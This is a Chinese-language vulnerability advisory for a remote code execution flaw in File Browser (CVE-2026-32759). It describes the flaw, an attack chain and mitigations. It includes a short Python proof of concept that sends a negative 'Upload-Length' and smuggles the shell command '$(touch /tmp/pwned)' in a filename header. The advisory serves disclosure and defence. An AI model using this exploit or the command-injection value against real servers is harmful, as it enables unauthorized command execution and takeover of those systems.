CVE-2026-32759 CVSS 8.1 高危

CVE-2026-32759 File Browser远程代码执行漏洞

披露日期: 2026-03-20

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-32759

漏洞类型

远程代码执行

CVSS评分

8.1 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

File Browser

漏洞概述

File Browser 2.61.2及以下版本存在严重逻辑漏洞。攻击者利用TUS上传接口处理'Upload-Length'头部时的校验缺陷，通过发送负数值绕过上传完整性检查。这导致服务器在文件未真正上传完成时触发after_upload钩子，若启用了exec功能，结合恶意文件名可实现远程命令执行，造成服务器被完全控制。

技术细节

漏洞位于File Browser的TUS可恢复上传处理程序中。程序在解析'Upload-Length'请求头时，将其视为有符号64位整数，且未验证该值是否为非负数。经过认证的攻击者可构造PATCH请求，将'Upload-Length'设为负数（如-1）。服务器逻辑误判上传条件已满足，立即触发after_upload执行钩子。如果配置中启用了enableExec，且攻击者通过文件名注入恶意命令（如shell命令），服务器将在处理钩子时执行这些命令。此外，该行为还可用于DoS攻击或破坏缓存一致性。

攻击链分析

STEP 1

1. 信息收集

攻击者识别出目标运行的是File Browser 2.61.2或更低版本，并确认TUS上传端点/api/tus可用。

STEP 2

2. 身份认证

攻击者使用低权限账号登录系统，获取有效的会话凭证或API Token。

STEP 3

3. 漏洞利用

攻击者向/api/tus端点发送PATCH请求，设置'Upload-Length'头部为负数（例如-1），并在文件名字段中注入恶意系统命令。

STEP 4

4. 触发钩子

服务器因负数值错误判定上传完成，触发after_upload钩子脚本处理文件名。

STEP 5

5. 执行命令

如果启用了enableExec，钩子机制将解析文件名中的恶意命令并在服务器上执行，导致远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit for CVE-2026-32759
# Target: File Browser <= 2.61.2 with TUS enabled

target_url = "http://localhost:8080/api/tus/"
upload_id = "test_upload_id" # Valid or assumed upload ID

headers = {
    "Upload-Length": "-1",  # Vulnerable parameter: negative integer
    "Tus-Resumable": "1.0.0",
    "Content-Type": "application/offset+octet-stream",
    # Malicious filename to trigger command injection if exec hooks are enabled
    "X-File-Name": "$(touch /tmp/pwned)"
}

# Send PATCH request to trigger the hook with empty body
response = requests.patch(target_url + upload_id, headers=headers, data=b"")

print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")

影响范围

File Browser <= 2.61.2

防御指南

临时缓解措施

由于目前尚无官方补丁，建议立即检查File Browser配置，确保enableExec功能已关闭。如果业务允许，可暂时禁用TUS上传接口（/api/tus）以阻断攻击路径。同时，应严格限制对文件管理系统的访问权限，并监控服务器日志是否存在异常的PATCH请求或命令执行行为。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表